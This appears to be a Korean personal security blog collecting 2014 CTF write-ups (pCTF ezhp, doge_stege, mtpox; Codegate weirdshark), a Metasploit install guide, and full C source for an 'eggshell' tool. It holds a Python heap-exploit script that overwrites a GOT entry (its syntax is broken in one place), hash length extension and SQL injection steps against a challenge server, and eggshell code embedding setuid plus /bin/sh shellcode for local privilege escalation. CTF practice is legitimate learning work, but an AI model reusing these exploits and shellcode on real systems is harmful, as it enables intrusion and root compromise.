2014년 4월 21일 월요일

pCTF ezhp 200 exploit only

ezhp 300 exploit!

#!/usr/bin/python



from socket import *

from struct import *



p = lambda x : pack("<L",x)

up = lambda x : pack("<L",x)[0]



s = socket(AF_INET,SOCK_STREAM)

s.connect(('127.0.0.1',8989))



puts_got = 0x0804A008

shellcode = ""

nopsled = "\x90"*90

payload = nopsled+shellcode





def write(s,size)

s.send("1\n")

s.recv(1024)

s.send(size)



def change(s,num,size,data):

s.send("3\n")

s.recv(1024)

s.send(num)

s.recv(1024)

s.send(size)

s.recv(1024)

s.send(data)



def main():

print s.recv(2048) #start!

write(s,4)

s.recv(1024)

change(s,0,100,p(puts_got)*9)

s.recv(1024)

write(s,4)

s.recv(1024)

change(s,0,len(payload),payload)

s.recv(1024)

s.send("1\n")





if __name__=="__main__":

main()

CLEAR!

2014년 4월 15일 화요일

pCTF doge_stege forensic 100 writeup

간단한 문제였다.



적절한 툴을 사용하여 풀었다.



중간쪽에 어렴풋이 보이는.
pctf{keep_doge_alive_2014}
CLEAR!

pCTF mtpox web 150 writeup

http://54.211.6.40/ 에 접속시 이런 서비스가 돌아가고있었다.



LFI 취약점을 사용해  admin.php의 내용을 미리 엿볼수있었고,


소스도 볼수있었다.ㅎㅎㅎㅎㅎㅎ

아는 형에게 물어본 결과 hash extension attack 인것을 알고는 hash_extender 를 사용하여


kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html -l $i >> mtpox_auth; done

kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-data-format html -l $i >> mtpox_hsh; done

이렇게 길이를 모르기때문에 1~50 길이의 해쉬를 새로 생성하였다.
그러나 다시 읽어본결과 http://54.211.6.40/index.php?page=about 에 'admin cookie using by 8-byte salt'  라는 문구가 있었고, 고생을 할필요가 없었기에,

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-
data-format html

이렇게 이렇게 해쉬를 생성하여, 쿠키값에 넣어줬더니,

admin 을 따게되었다.

그리곤 저 입력 form에 sql injection을 하여 table 명은 plaidcoin_wallets 라는것을 알게되었고, column은 id와 coins가 있다는것을 알게되었다.

table과 column명을 모두 알아냈기에 공격을 하여 키값을 획득하였다.


CLEAR!

2014년 4월 12일 토요일

linux metasploit install ubuntu

sudo su

apt-get -y install build-essential zlib1g zlib1g-dev  libxml2 libxml2-dev libxslt-dev locate  libreadline6-dev libcurl4-openssl-dev git-core libssl-dev libyaml-dev openssl autoconf libtool  ncurses-dev bison curl wget postgresql postgresql-contrib libpq-dev  libapr1 libaprutil1 libsvn1  libpcap-dev

apt-get install git-core postgresql curl ruby1.9.3 nmap gem
gem install wirble sqlite3 bundler

cd /opt
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install


./msfconsole

2014년 3월 30일 일요일

파이썬 웹 이미지 크롤러 / python web image crawler

재미로 짜본 파이썬 웹 이미지 크롤러이다.
실행 -> 검색어지정 -> 크롤링 -> 디렉토리생성 -> 저장 -> 이미지 압축

자세한건 동영상으로,.....


2014년 2월 27일 목요일

Codegate 2014 weirdshark writeup / 풀이


pcap파일이 다운이 되고 wireshark로 열어보려하니까 다음과 같은 오류가 발생하였다.

검색결과 pcapfix, pcaprewrite같은 툴들이 있었지만, 헥스에디터로 열어서 간단하게 조작하여주었다.



 왼쪽의 사진은 복구하기전 즉 패킷길이와 패킷캡쳐길이가 맞지않는 오리지널 파일이고,
 오른쪽의 사진은 패킷길이와 패킷캡쳐길이를 같게해준후의 파일이다.
 
그후 wireshark로 분석하여 http로 전송되는 파일들을 다 export 한 결과, pdf파일이 있었다.




Ta Da!!



Flag = FORENSICS_WITH_HAXORS


Eggshell source code / 에그쉘 소스 (include setreuid)

eggshell.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}